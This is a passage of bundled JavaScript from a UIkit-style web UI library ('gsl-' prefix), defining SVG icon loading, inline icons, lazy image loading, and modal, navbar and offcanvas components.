var this$1 = this;
for (var prop in this.$options.props) {
if (this[prop] && includes(this.include, prop)) {
attr(el, prop, this[prop]);
}
}
for (var attribute in this.attributes) {
var ref = this.attributes[attribute].split(':', 2);
var prop$1 = ref[0];
var value = ref[1];
attr(el, prop$1, value);
}
if (!this.id) {
removeAttr(el, 'id');
}
var props = ['width', 'height'];
var dimensions = [this.width, this.height];
if (!dimensions.some(function (val) { return val; })) {
dimensions = props.map(function (prop) { return attr(el, prop); });
}
var viewBox = attr(el, 'viewBox');
if (viewBox && !dimensions.some(function (val) { return val; })) {
dimensions = viewBox.split(' ').slice(2);
}
dimensions.forEach(function (val, i) {
val = (val | 0) * this$1.ratio;
val && attr(el, props[i], val);
if (val && !dimensions[i ^ 1]) {
removeAttr(el, props[i ^ 1]);
}
});
attr(el, 'data-svg', this.icon || this.src);
}
}
};
var svgs = {};
function loadSVG(src) {
if (svgs[src]) {
return svgs[src];
}
return svgs[src] = new Promise(function (resolve, reject) {
if (!src) {
reject();
return;
}
if (startsWith(src, 'data:')) {
resolve(decodeURIComponent(src.split(',')[1]));
} else {
ajax(src).then(
function (xhr) { return resolve(xhr.response); },
function () { return reject('SVG not found.'); }
);
}
});
}
function parseSVG(svg, icon) {
if (icon && includes(svg, '<symbol')) {
svg = parseSymbols(svg, icon) || svg;
}
svg = $(svg.substr(svg.indexOf('<svg')));
return svg && svg.hasChildNodes() && svg;
}
var symbolRe = /<symbol(.*?id=(['"])(.*?)\2[^]*?<\/)symbol>/g;
var symbols = {};
function parseSymbols(svg, icon) {
if (!symbols[svg]) {
symbols[svg] = {};
var match;
while ((match = symbolRe.exec(svg))) {
symbols[svg][match[3]] = "<svg xmlns=\"http://www.w3.org/2000/svg\"" + (match[1]) + "svg>";
}
symbolRe.lastIndex = 0;
}
return symbols[svg][icon];
}
function applyAnimation(el) {
var length = getMaxPathLength(el);
if (length) {
el.style.setProperty('--gsl-animation-stroke', length);
}
}
function getMaxPathLength(el) {
return Math.ceil(Math.max.apply(Math, $$('[stroke]', el).map(function (stroke) { return stroke.getTotalLength && stroke.getTotalLength() || 0; }
).concat([0])));
}
function insertSVG(el, root) {
if (isVoidElement(root) || root.tagName === 'CANVAS') {
attr(root, 'hidden', true);
var next = root.nextElementSibling;
return equals(el, next)
? next
: after(root, el);
} else {
var last = root.lastElementChild;
return equals(el, last)
? last
: append(root, el);
}
}
function equals(el, other) {
return attr(el, 'data-svg') === attr(other, 'data-svg');
}
var closeIcon = "<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" xmlns=\"http://www.w3.org/2000/svg\"><line fill=\"none\" stroke=\"#000\" stroke-width=\"1.1\" x1=\"1\" y1=\"1\" x2=\"13\" y2=\"13\"/><line fill=\"none\" stroke=\"#000\" stroke-width=\"1.1\" x1=\"13\" y1=\"1\" x2=\"1\" y2=\"13\"/></svg>";
var closeLarge = "<svg width=\"20\" height=\"20\" viewBox=\"0 0 20 20\" xmlns=\"http://www.w3.org/2000/svg\"><line fill=\"none\" stroke=\"#000\" stroke-width=\"1.4\" x1=\"1\" y1=\"1\" x2=\"19\" y2=\"19\"/><line fill=\"none\" stroke=\"#000\" stroke-width=\"1.4\" x1=\"19\" y1=\"1\" x2=\"1\" y2=\"19\"/></svg>";
var marker = "<svg width=\"20\" height=\"20\" viewBox=\"0 0 20 20\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"9\" y=\"4\" width=\"1\" height=\"11\"/><rect x=\"4\" y=\"9\" width=\"11\" height=\"1\"/></svg>";
var navbarToggleIcon = "<svg width=\"20\" height=\"20\" viewBox=\"0 0 20 20\" xmlns=\"http://www.w3.org/2000/svg\"><rect y=\"9\" width=\"20\" height=\"2\"/><rect y=\"3\" width=\"20\" height=\"2\"/><rect y=\"15\" width=\"20\" height=\"2\"/></svg>";
var overlayIcon = "<svg width=\"40\" height=\"40\" viewBox=\"0 0 40 40\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"19\" y=\"0\" width=\"1\" height=\"40\"/><rect x=\"0\" y=\"19\" width=\"40\" height=\"1\"/></svg>";
var paginationNext = "<svg width=\"7\" height=\"12\" viewBox=\"0 0 7 12\" xmlns=\"http://www.w3.org/2000/svg\"><polyline fill=\"none\" stroke=\"#000\" stroke-width=\"1.2\" points=\"1 1 6 6 1 11\"/></svg>";
var paginationPrevious = "<svg width=\"7\" height=\"12\" viewBox=\"0 0 7 12\" xmlns=\"http://www.w3.org/2000/svg\"><polyline fill=\"none\" stroke=\"#000\" stroke-width=\"1.2\" points=\"6 1 1 6 6 11\"/></svg>";
var searchIcon = "<svg width=\"20\" height=\"20\" viewBox=\"0 0 20 20\" xmlns=\"http://www.w3.org/2000/svg\"><circle fill=\"none\" stroke=\"#000\" stroke-width=\"1.1\" cx=\"9\" cy=\"9\" r=\"7\"/><path fill=\"none\" stroke=\"#000\" stroke-width=\"1.1\" d=\"M14,14 L18,18 L14,14 Z\"/></svg>";
var searchLarge = "<svg width=\"40\" height=\"40\" viewBox=\"0 0 40 40\" xmlns=\"http://www.w3.org/2000/svg\"><circle fill=\"none\" stroke=\"#000\" stroke-width=\"1.8\" cx=\"17.5\" cy=\"17.5\" r=\"16.5\"/><line fill=\"none\" stroke=\"#000\" stroke-width=\"1.8\" x1=\"38\" y1=\"39\" x2=\"29\" y2=\"30\"/></svg>";
var searchNavbar = "<svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><circle fill=\"none\" stroke=\"#000\" stroke-width=\"1.1\" cx=\"10.5\" cy=\"10.5\" r=\"9.5\"/><line fill=\"none\" stroke=\"#000\" stroke-width=\"1.1\" x1=\"23\" y1=\"23\" x2=\"17\" y2=\"17\"/></svg>";
var slidenavNext = "<svg width=\"14px\" height=\"24px\" viewBox=\"0 0 14 24\" xmlns=\"http://www.w3.org/2000/svg\"><polyline fill=\"none\" stroke=\"#000\" stroke-width=\"1.4\" points=\"1.225,23 12.775,12 1.225,1 \"/></svg>";
var slidenavNextLarge = "<svg width=\"25px\" height=\"40px\" viewBox=\"0 0 25 40\" xmlns=\"http://www.w3.org/2000/svg\"><polyline fill=\"none\" stroke=\"#000\" stroke-width=\"2\" points=\"4.002,38.547 22.527,20.024 4,1.5 \"/></svg>";
var slidenavPrevious = "<svg width=\"14px\" height=\"24px\" viewBox=\"0 0 14 24\" xmlns=\"http://www.w3.org/2000/svg\"><polyline fill=\"none\" stroke=\"#000\" stroke-width=\"1.4\" points=\"12.775,1 1.225,12 12.775,23 \"/></svg>";
var slidenavPreviousLarge = "<svg width=\"25px\" height=\"40px\" viewBox=\"0 0 25 40\" xmlns=\"http://www.w3.org/2000/svg\"><polyline fill=\"none\" stroke=\"#000\" stroke-width=\"2\" points=\"20.527,1.5 2,20.024 20.525,38.547 \"/></svg>";
var spinner = "<svg width=\"30\" height=\"30\" viewBox=\"0 0 30 30\" xmlns=\"http://www.w3.org/2000/svg\"><circle fill=\"none\" stroke=\"#000\" cx=\"15\" cy=\"15\" r=\"14\"/></svg>";
var totop = "<svg width=\"18\" height=\"10\" viewBox=\"0 0 18 10\" xmlns=\"http://www.w3.org/2000/svg\"><polyline fill=\"none\" stroke=\"#000\" stroke-width=\"1.2\" points=\"1 9 9 1 17 9 \"/></svg>";
var parsed = {};
var icons = {
spinner: spinner,
totop: totop,
marker: marker,
'close-icon': closeIcon,
'close-large': closeLarge,
'navbar-toggle-icon': navbarToggleIcon,
'overlay-icon': overlayIcon,
'pagination-next': paginationNext,
'pagination-previous': paginationPrevious,
'search-icon': searchIcon,
'search-large': searchLarge,
'search-navbar': searchNavbar,
'slidenav-next': slidenavNext,
'slidenav-next-large': slidenavNextLarge,
'slidenav-previous': slidenavPrevious,
'slidenav-previous-large': slidenavPreviousLarge
};
var Icon = {
install: install,
extends: SVG,
args: 'icon',
props: ['icon'],
data: {
include: ['focusable']
},
isIcon: true,
beforeConnect: function() {
addClass(this.$el, 'gsl-icon');
},
methods: {
getSvg: function() {
var icon = getIcon(applyRtl(this.icon));
if (!icon) {
return Promise.reject('Icon not found.');
}
return Promise.resolve(icon);
}
}
};
var IconComponent = {
args: false,
extends: Icon,
data: function (vm) { return ({
icon: hyphenate(vm.constructor.options.name)
}); },
beforeConnect: function() {
addClass(this.$el, this.$name);
}
};
var Slidenav = {
extends: IconComponent,
beforeConnect: function() {
addClass(this.$el, 'gsl-slidenav');
},
computed: {
icon: function(ref, $el) {
var icon = ref.icon;
return hasClass($el, 'gsl-slidenav-large')
? (icon + "-large")
: icon;
}
}
};
var Search = {
extends: IconComponent,
computed: {
icon: function(ref, $el) {
var icon = ref.icon;
return hasClass($el, 'gsl-search-icon') && parents($el, '.gsl-search-large').length
? 'search-large'
: parents($el, '.gsl-search-navbar').length
? 'search-navbar'
: icon;
}
}
};
var Close = {
extends: IconComponent,
computed: {
icon: function() {
return ("close-" + (hasClass(this.$el, 'gsl-close-large') ? 'large' : 'icon'));
}
}
};
var Spinner = {
extends: IconComponent,
connected: function() {
var this$1 = this;
this.svg.then(function (svg) { return this$1.ratio !== 1 && css($('circle', svg), 'strokeWidth', 1 / this$1.ratio); }, noop);
}
};
function install(gslUIkit) {
gslUIkit.icon.add = function (name, svg) {
var obj;
var added = isString(name) ? (( obj = {}, obj[name] = svg, obj )) : name;
each(added, function (svg, name) {
icons[name] = svg;
delete parsed[name];
});
if (gslUIkit._initialized) {
apply(document.body, function (el) { return each(gslUIkit.getComponents(el), function (cmp) {
cmp.$options.isIcon && cmp.icon in added && cmp.$reset();
}); }
);
}
};
}
function getIcon(icon) {
if (!icons[icon]) {
return null;
}
if (!parsed[icon]) {
parsed[icon] = $(icons[icon].trim());
}
return parsed[icon].cloneNode(true);
}
function applyRtl(icon) {
return isRtl ? swap(swap(icon, 'left', 'right'), 'previous', 'next') : icon;
}
var img = {
args: 'dataSrc',
props: {
dataSrc: String,
dataSrcset: Boolean,
sizes: String,
width: Number,
height: Number,
offsetTop: String,
offsetLeft: String,
target: String
},
data: {
dataSrc: '',
dataSrcset: false,
sizes: false,
width: false,
height: false,
offsetTop: '50vh',
offsetLeft: 0,
target: false
},
computed: {
cacheKey: function(ref) {
var dataSrc = ref.dataSrc;
return ((this.$name) + "." + dataSrc);
},
width: function(ref) {
var width = ref.width;
var dataWidth = ref.dataWidth;
return width || dataWidth;
},
height: function(ref) {
var height = ref.height;
var dataHeight = ref.dataHeight;
return height || dataHeight;
},
sizes: function(ref) {
var sizes = ref.sizes;
var dataSizes = ref.dataSizes;
return sizes || dataSizes;
},
isImg: function(_, $el) {
return isImg($el);
},
target: {
get: function(ref) {
var target = ref.target;
return [this.$el].concat(queryAll(target, this.$el));
},
watch: function() {
this.observe();
}
},
offsetTop: function(ref) {
var offsetTop = ref.offsetTop;
return toPx(offsetTop, 'height');
},
offsetLeft: function(ref) {
var offsetLeft = ref.offsetLeft;
return toPx(offsetLeft, 'width');
}
},
connected: function() {
if (storage[this.cacheKey]) {
setSrcAttrs(this.$el, storage[this.cacheKey] || this.dataSrc, this.dataSrcset, this.sizes);
} else if (this.isImg && this.width && this.height) {
setSrcAttrs(this.$el, getPlaceholderImage(this.width, this.height, this.sizes));
}
this.observer = new IntersectionObserver(this.load, {
rootMargin: ((this.offsetTop) + "px " + (this.offsetLeft) + "px")
});
requestAnimationFrame(this.observe);
},
disconnected: function() {
this.observer.disconnect();
},
update: {
read: function(ref) {
var this$1 = this;
var image = ref.image;
if (!image && document.readyState === 'complete') {
this.load(this.observer.takeRecords());
}
if (this.isImg) {
return false;
}
image && image.then(function (img) { return img && img.currentSrc !== '' && setSrcAttrs(this$1.$el, currentSrc(img)); });
},
write: function(data) {
if (this.dataSrcset && window.devicePixelRatio !== 1) {
var bgSize = css(this.$el, 'backgroundSize');
if (bgSize.match(/^(auto\s?)+$/) || toFloat(bgSize) === data.bgSize) {
data.bgSize = getSourceSize(this.dataSrcset, this.sizes);
css(this.$el, 'backgroundSize', ((data.bgSize) + "px"));
}
}
},
events: ['resize']
},
methods: {
load: function(entries) {
var this$1 = this;
// Old chromium based browsers (UC Browser) did not implement `isIntersecting`
if (!entries.some(function (entry) { return isUndefined(entry.isIntersecting) || entry.isIntersecting; })) {
return;
}
this._data.image = getImage(this.dataSrc, this.dataSrcset, this.sizes).then(function (img) {
setSrcAttrs(this$1.$el, currentSrc(img), img.srcset, img.sizes);
storage[this$1.cacheKey] = currentSrc(img);
return img;
}, noop);
this.observer.disconnect();
},
observe: function() {
var this$1 = this;
if (!this._data.image && this._connected) {
this.target.forEach(function (el) { return this$1.observer.observe(el); });
}
}
}
};
function setSrcAttrs(el, src, srcset, sizes) {
if (isImg(el)) {
sizes && (el.sizes = sizes);
srcset && (el.srcset = srcset);
src && (el.src = src);
} else if (src) {
var change = !includes(el.style.backgroundImage, src);
if (change) {
css(el, 'backgroundImage', ("url(" + (escape(src)) + ")"));
trigger(el, createEvent('load', false));
}
}
}
function getPlaceholderImage(width, height, sizes) {
var assign;
if (sizes) {
((assign = Dimensions.ratio({width: width, height: height}, 'width', toPx(sizesToPixel(sizes))), width = assign.width, height = assign.height));
}
return ("data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"" + width + "\" height=\"" + height + "\"></svg>");
}
var sizesRe = /\s*(.*?)\s*(\w+|calc\(.*?\))\s*(?:,|$)/g;
function sizesToPixel(sizes) {
var matches;
sizesRe.lastIndex = 0;
while ((matches = sizesRe.exec(sizes))) {
if (!matches[1] || window.matchMedia(matches[1]).matches) {
matches = evaluateSize(matches[2]);
break;
}
}
return matches || '100vw';
}
var sizeRe = /\d+(?:\w+|%)/g;
var additionRe = /[+-]?(\d+)/g;
function evaluateSize(size) {
return startsWith(size, 'calc')
? size
.substring(5, size.length - 1)
.replace(sizeRe, function (size) { return toPx(size); })
.replace(/ /g, '')
.match(additionRe)
.reduce(function (a, b) { return a + +b; }, 0)
: size;
}
var srcSetRe = /\s+\d+w\s*(?:,|$)/g;
function getSourceSize(srcset, sizes) {
var srcSize = toPx(sizesToPixel(sizes));
var descriptors = (srcset.match(srcSetRe) || []).map(toFloat).sort(function (a, b) { return a - b; });
return descriptors.filter(function (size) { return size >= srcSize; })[0] || descriptors.pop() || '';
}
function isImg(el) {
return el.tagName === 'IMG';
}
function currentSrc(el) {
return el.currentSrc || el.src;
}
var key = '__test__';
var storage;
// workaround for Safari's private browsing mode and accessing sessionStorage in Blink
try {
storage = window.sessionStorage || {};
storage[key] = 1;
delete storage[key];
} catch (e) {
storage = {};
}
var Media = {
props: {
media: Boolean
},
data: {
media: false
},
computed: {
matchMedia: function() {
var media = toMedia(this.media);
return !media || window.matchMedia(media).matches;
}
}
};
function toMedia(value) {
if (isString(value)) {
if (value[0] === '@') {
var name = "breakpoint-" + (value.substr(1));
value = toFloat(getCssVar(name));
} else if (isNaN(value)) {
return value;
}
}
return value && !isNaN(value) ? ("(min-width: " + value + "px)") : false;
}
var leader = {
mixins: [Class, Media],
props: {
fill: String
},
data: {
fill: '',
clsWrapper: 'gsl-leader-fill',
clsHide: 'gsl-leader-hide',
attrFill: 'data-fill'
},
computed: {
fill: function(ref) {
var fill = ref.fill;
return fill || getCssVar('leader-fill-content');
}
},
connected: function() {
var assign;
(assign = wrapInner(this.$el, ("<span class=\"" + (this.clsWrapper) + "\">")), this.wrapper = assign[0]);
},
disconnected: function() {
unwrap(this.wrapper.childNodes);
},
update: {
read: function(ref) {
var changed = ref.changed;
var width = ref.width;
var prev = width;
width = Math.floor(this.$el.offsetWidth / 2);
return {
width: width,
fill: this.fill,
changed: changed || prev !== width,
hide: !this.matchMedia
};
},
write: function(data) {
toggleClass(this.wrapper, this.clsHide, data.hide);
if (data.changed) {
data.changed = false;
attr(this.wrapper, this.attrFill, new Array(data.width).join(data.fill));
}
},
events: ['resize']
}
};
var Container = {
props: {
container: Boolean
},
data: {
container: true
},
computed: {
container: function(ref) {
var container = ref.container;
return container === true && this.$container || container && $(container);
}
}
};
var active$1 = [];
var Modal = {
mixins: [Class, Container, Togglable],
props: {
selPanel: String,
selClose: String,
escClose: Boolean,
bgClose: Boolean,
stack: Boolean
},
data: {
cls: 'gsl-open',
escClose: true,
bgClose: true,
overlay: true,
stack: false
},
computed: {
panel: function(ref, $el) {
var selPanel = ref.selPanel;
return $(selPanel, $el);
},
transitionElement: function() {
return this.panel;
},
bgClose: function(ref) {
var bgClose = ref.bgClose;
return bgClose && this.panel;
}
},
beforeDisconnect: function() {
if (this.isToggled()) {
this.toggleNow(this.$el, false);
}
},
events: [
{
name: 'click',
delegate: function() {
return this.selClose;
},
handler: function(e) {
e.preventDefault();
this.hide();
}
},
{
name: 'toggle',
self: true,
handler: function(e) {
if (e.defaultPrevented) {
return;
}
e.preventDefault();
this.toggle();
}
},
{
name: 'beforeshow',
self: true,
handler: function(e) {
if (includes(active$1, this)) {
return false;
}
if (!this.stack && active$1.length) {
Promise.all(active$1.map(function (modal) { return modal.hide(); })).then(this.show);
e.preventDefault();
} else {
active$1.push(this);
}
}
},
{
name: 'show',
self: true,
handler: function() {
var this$1 = this;
if (width(window) - width(document) && this.overlay) {
css(document.body, 'overflowY', 'scroll');
}
addClass(document.documentElement, this.clsPage);
if (this.bgClose) {
once(this.$el, 'hide', delayOn(document, 'click', function (ref) {
var defaultPrevented = ref.defaultPrevented;
var target = ref.target;
var current = last(active$1);
if (!defaultPrevented
&& current === this$1
&& (!current.overlay || within(target, current.$el))
&& !within(target, current.panel)
) {
current.hide();
}
}), {self: true});
}
if (this.escClose) {
once(this.$el, 'hide', on(document, 'keydown', function (e) {
var current = last(active$1);
if (e.keyCode === 27 && current === this$1) {
e.preventDefault();
current.hide();
}
}), {self: true});
}
}
},
{
name: 'hidden',
self: true,
handler: function() {
var this$1 = this;
active$1.splice(active$1.indexOf(this), 1);
if (!active$1.length) {
css(document.body, 'overflowY', '');
}
if (!active$1.some(function (modal) { return modal.clsPage === this$1.clsPage; })) {
removeClass(document.documentElement, this.clsPage);
}
}
}
],
methods: {
toggle: function() {
return this.isToggled() ? this.hide() : this.show();
},
show: function() {
var this$1 = this;
if (this.container && this.$el.parentNode !== this.container) {
append(this.container, this.$el);
return new Promise(function (resolve) { return requestAnimationFrame(function () { return this$1.show().then(resolve); }
); }
);
}
return this.toggleElement(this.$el, true, animate$1(this));
},
hide: function() {
return this.toggleElement(this.$el, false, animate$1(this));
}
}
};
function animate$1(ref) {
var transitionElement = ref.transitionElement;
var _toggle = ref._toggle;
return function (el, show) { return new Promise(function (resolve, reject) { return once(el, 'show hide', function () {
el._reject && el._reject();
el._reject = reject;
_toggle(el, show);
var off = once(transitionElement, 'transitionstart', function () {
once(transitionElement, 'transitionend transitioncancel', resolve, {self: true});
clearTimeout(timer);
}, {self: true});
var timer = setTimeout(function () {
off();
resolve();
}, toMs(css(transitionElement, 'transitionDuration')));
}); }
); };
}
var modal = {
install: install$1,
mixins: [Modal],
data: {
clsPage: 'gsl-modal-page',
selPanel: '.gsl-modal-dialog',
selClose: '.gsl-modal-close, .gsl-modal-close-default, .gsl-modal-close-outside, .gsl-modal-close-full'
},
events: [
{
name: 'show',
self: true,
handler: function() {
if (hasClass(this.panel, 'gsl-margin-auto-vertical')) {
addClass(this.$el, 'gsl-flex');
} else {
css(this.$el, 'display', 'block');
}
height(this.$el); // force reflow
}
},
{
name: 'hidden',
self: true,
handler: function() {
css(this.$el, 'display', '');
removeClass(this.$el, 'gsl-flex');
}
}
]
};
function install$1(gslUIkit) {
gslUIkit.modal.dialog = function (content, options) {
var dialog = gslUIkit.modal((" <div class=\"gsl-modal\"> <div class=\"gsl-modal-dialog\">" + content + "</div> </div> "), options);
dialog.show();
on(dialog.$el, 'hidden', function () { return Promise.resolve(function () { return dialog.$destroy(true); }); }, {self: true});
return dialog;
};
gslUIkit.modal.alert = function (message, options) {
options = assign({bgClose: false, escClose: false, labels: gslUIkit.modal.labels}, options);
return new Promise(
function (resolve) { return on(gslUIkit.modal.dialog((" <div class=\"gsl-modal-body\">" + (isString(message) ? message : html(message)) + "</div> <div class=\"gsl-modal-footer gsl-text-right\"> <button class=\"gsl-button gsl-button-primary gsl-modal-close\" autofocus>" + (options.labels.ok) + "</button> </div> "), options).$el, 'hide', resolve); }
);
};
gslUIkit.modal.confirm = function (message, options) {
options = assign({bgClose: false, escClose: true, labels: gslUIkit.modal.labels}, options);
return new Promise(function (resolve, reject) {
var confirm = gslUIkit.modal.dialog((" <form> <div class=\"gsl-modal-body\">" + (isString(message) ? message : html(message)) + "</div> <div class=\"gsl-modal-footer gsl-text-right\"> <button class=\"gsl-button gsl-button-default gsl-modal-close\" type=\"button\">" + (options.labels.cancel) + "</button> <button class=\"gsl-button gsl-button-primary\" autofocus>" + (options.labels.ok) + "</button> </div> </form> "), options);
var resolved = false;
on(confirm.$el, 'submit', 'form', function (e) {
e.preventDefault();
resolve();
resolved = true;
confirm.hide();
});
on(confirm.$el, 'hide', function () {
if (!resolved) {
reject();
}
});
});
};
gslUIkit.modal.prompt = function (message, value, options) {
options = assign({bgClose: false, escClose: true, labels: gslUIkit.modal.labels}, options);
return new Promise(function (resolve) {
var prompt = gslUIkit.modal.dialog((" <form class=\"gsl-form-stacked\"> <div class=\"gsl-modal-body\"> <label>" + (isString(message) ? message : html(message)) + "</label> <input class=\"gsl-input\" autofocus> </div> <div class=\"gsl-modal-footer gsl-text-right\"> <button class=\"gsl-button gsl-button-default gsl-modal-close\" type=\"button\">" + (options.labels.cancel) + "</button> <button class=\"gsl-button gsl-button-primary\">" + (options.labels.ok) + "</button> </div> </form> "), options),
input = $('input', prompt.$el);
input.value = value;
var resolved = false;
on(prompt.$el, 'submit', 'form', function (e) {
e.preventDefault();
resolve(input.value);
resolved = true;
prompt.hide();
});
on(prompt.$el, 'hide', function () {
if (!resolved) {
resolve(null);
}
});
});
};
gslUIkit.modal.labels = {
ok: 'Ok',
cancel: 'Cancel'
};
}
var nav = {
extends: Accordion,
data: {
targets: '> .gsl-parent',
toggle: '> a',
content: '> ul'
}
};
var navbar = {
mixins: [Class, FlexBug],
props: {
dropdown: String,
mode: 'list',
align: String,
offset: Number,
boundary: Boolean,
boundaryAlign: Boolean,
clsDrop: String,
delayShow: Number,
delayHide: Number,
dropbar: Boolean,
dropbarMode: String,
dropbarAnchor: Boolean,
duration: Number
},
data: {
dropdown: '.gsl-navbar-nav > li',
align: !isRtl ? 'left' : 'right',
clsDrop: 'gsl-navbar-dropdown',
mode: undefined,
offset: undefined,
delayShow: undefined,
delayHide: undefined,
boundaryAlign: undefined,
flip: 'x',
boundary: true,
dropbar: false,
dropbarMode: 'slide',
dropbarAnchor: false,
duration: 200,
forceHeight: true,
selMinHeight: '.gsl-navbar-nav > li > a, .gsl-navbar-item, .gsl-navbar-toggle'
},
computed: {
boundary: function(ref, $el) {
var boundary = ref.boundary;
var boundaryAlign = ref.boundaryAlign;
return (boundary === true || boundaryAlign) ? $el : boundary;
},
dropbarAnchor: function(ref, $el) {
var dropbarAnchor = ref.dropbarAnchor;
return query(dropbarAnchor, $el);
},
pos: function(ref) {
var align = ref.align;
return ("bottom-" + align);
},
dropdowns: function(ref, $el) {
var dropdown = ref.dropdown;
var clsDrop = ref.clsDrop;
return $$((dropdown + " ." + clsDrop), $el);
}
},
beforeConnect: function() {
var ref = this.$props;
var dropbar = ref.dropbar;
this.dropbar = dropbar && (query(dropbar, this.$el) || $('+ .gsl-navbar-dropbar', this.$el) || $('<div></div>'));
if (this.dropbar) {
addClass(this.dropbar, 'gsl-navbar-dropbar');
if (this.dropbarMode === 'slide') {
addClass(this.dropbar, 'gsl-navbar-dropbar-slide');
}
}
},
disconnected: function() {
this.dropbar && remove(this.dropbar);
},
update: function() {
var this$1 = this;
this.$create(
'drop',
this.dropdowns.filter(function (el) { return !this$1.getDropdown(el); }),
assign({}, this.$props, {boundary: this.boundary, pos: this.pos, offset: this.dropbar || this.offset})
);
},
events: [
{
name: 'mouseover',
delegate: function() {
return this.dropdown;
},
handler: function(ref) {
var current = ref.current;
var active = this.getActive();
if (active && active.toggle && !within(active.toggle.$el, current) && !active.tracker.movesTo(active.$el)) {
active.hide(false);
}
}
},
{
name: 'mouseleave',
el: function() {
return this.dropbar;
},
handler: function() {
var active = this.getActive();
if (active && !this.dropdowns.some(function (el) { return matches(el, ':hover'); })) {
active.hide();
}
}
},
{
name: 'beforeshow',
capture: true,
filter: function() {
return this.dropbar;
},
handler: function() {
if (!this.dropbar.parentNode) {
after(this.dropbarAnchor || this.$el, this.dropbar);
}
}
},
{
name: 'show',
capture: true,
filter: function() {
return this.dropbar;
},
handler: function(_, drop) {
var $el = drop.$el;
var dir = drop.dir;
this.clsDrop && addClass($el, ((this.clsDrop) + "-dropbar"));
if (dir === 'bottom') {
this.transitionTo($el.offsetHeight + toFloat(css($el, 'marginTop')) + toFloat(css($el, 'marginBottom')), $el);
}
}
},
{
name: 'beforehide',
filter: function() {
return this.dropbar;
},
handler: function(e, ref) {
var $el = ref.$el;
var active = this.getActive();
if (matches(this.dropbar, ':hover') && active && active.$el === $el) {
e.preventDefault();
}
}
},
{
name: 'hide',
filter: function() {
return this.dropbar;
},
handler: function(_, ref) {
var $el = ref.$el;
var active = this.getActive();
if (!active || active && active.$el === $el) {
this.transitionTo(0);
}
}
}
],
methods: {
getActive: function() {
var ref = this.dropdowns.map(this.getDropdown).filter(function (drop) { return drop && drop.isActive(); });
var active = ref[0];
return active && includes(active.mode, 'hover') && within(active.toggle.$el, this.$el) && active;
},
transitionTo: function(newHeight, el) {
var this$1 = this;
var ref = this;
var dropbar = ref.dropbar;
var oldHeight = isVisible(dropbar) ? height(dropbar) : 0;
el = oldHeight < newHeight && el;
css(el, 'clip', ("rect(0," + (el.offsetWidth) + "px," + oldHeight + "px,0)"));
height(dropbar, oldHeight);
Transition.cancel([el, dropbar]);
return Promise.all([
Transition.start(dropbar, {height: newHeight}, this.duration),
Transition.start(el, {clip: ("rect(0," + (el.offsetWidth) + "px," + newHeight + "px,0)")}, this.duration)
])
.catch(noop)
.then(function () {
css(el, {clip: ''});
this$1.$update(dropbar);
});
},
getDropdown: function(el) {
return this.$getComponent(el, 'drop') || this.$getComponent(el, 'dropdown');
}
}
};
var offcanvas = {
mixins: [Modal],
args: 'mode',
props: {
mode: String,
flip: Boolean,
overlay: Boolean
},
data: {
mode: 'slide',
flip: false,
overlay: false,
clsPage: 'gsl-offcanvas-page',
clsContainer: 'gsl-offcanvas-container',
selPanel: '.gsl-offcanvas-bar',
clsFlip: 'gsl-offcanvas-flip',
clsContainerAnimation: 'gsl-offcanvas-container-animation',
clsSidebarAnimation: 'gsl-offcanvas-bar-animation',
clsMode: 'gsl-offcanvas',
clsOverlay: 'gsl-offcanvas-overlay',
selClose: '.gsl-offcanvas-close',
container: false
},
computed: {
clsFlip: function(ref) {
var flip = ref.flip;
var clsFlip = ref.clsFlip;
return flip ? clsFlip : '';
},
clsOverlay: function(ref) {
var overlay = ref.overlay;
var clsOverlay = ref.clsOverlay;
return overlay ? clsOverlay : '';
},
clsMode: function(ref) {
var mode = ref.mode;
var clsMode = ref.clsMode;
return (clsMode + "-" + mode);
},
clsSidebarAnimation: function(ref) {
var mode = ref.mode;
var clsSidebarAnimation = ref.clsSidebarAnimation;
return mode === 'none' || mode === 'reveal' ? '' : clsSidebarAnimation;
},
clsContainerAnimation: function(ref) {
var mode = ref.mode;
var clsContainerAnimation = ref.clsContainerAnimation;
return mode !== 'push' && mode !== 'reveal' ? '' : clsContainerAnimation;
},
transitionElement: function(ref) {
var mode = ref.mode;
return mode === 'reveal' ? this.panel.parentNode : this.panel;
}
},
events: [
{
name: 'click',
delegate: function() {
return 'a[href^="#"]';
},
handler: function(ref) {
var hash = ref.current.hash;
var defaultPrevented = ref.defaultPrevented;
if (!defaultPrevented && hash && $(hash, document.body)) {
this.hide();
}
}
},
{
name: 'touchstart',
passive: true,
el: function() {
return this.panel;
},
handler: function(ref) {
var targetTouches = ref.targetTouches;
if (targetTouches.length === 1) {
this.clientY = targetTouches[0].clientY;
}
}
},
{
name: 'touchmove',
self: true,
passive: false,
filter: function() {
return this.overlay;
},
handler: function(e) {
e.cancelable && e.preventDefault();
}
},
{
name: 'touchmove',
passive: false,
el: function() {
return this.panel;
},
handler: function(e) {
if (e.targetTouches.length !== 1) {
return;
}
var clientY = event.targetTouches[0].clientY - this.clientY;
var ref = this.panel;
var scrollTop = ref.scrollTop;
var scrollHeight = ref.scrollHeight;
var clientHeight = ref.clientHeight;
if (clientHeight >= scrollHeight
|| scrollTop === 0 && clientY > 0
|| scrollHeight - scrollTop <= clientHeight && clientY < 0
) {
e.cancelable && e.preventDefault();
}
}
},
{
name: 'show',
self: true,
handler: function() {
if (this.mode === 'reveal' && !hasClass(this.panel.parentNode, this.clsMode)) {
wrapAll(this.panel, '<div>');
addClass(this.panel.parentNode, this.clsMode);
}
css(document.documentElement, 'overflowY', this.overlay ? 'hidden' : '');
addClass(document.body, this.clsContainer, this.clsFlip);
css(document.body, 'touch-action', 'pan-y pinch-zoom');
css(this.$el, 'display', 'block');
addClass(this.$el, this.clsOverlay);
addClass(this.panel, this.clsSidebarAnimation, this.mode !== 'reveal' ? this.clsMode : '');
height(document.body); // force reflow
addClass(document.body, this.clsContainerAnimation);
this.clsContainerAnimation && suppressUserScale();
}
},
{
name: 'hide',
self: true,
handler: function() {
removeClass(document.body, this.clsContainerAnimation);
css(document.body, 'touch-action', '');
}
},
{
name: 'hidden',
self: true,
handler: function() {
this.clsContainerAnimation && resumeUserScale();
if (this.mode === 'reveal') {
unwrap(this.panel);
}
removeClass(this.panel, this.clsSidebarAnimation, this.clsMode);
removeClass(this.$el, this.clsOverlay);
css(this.$el, 'display', '');
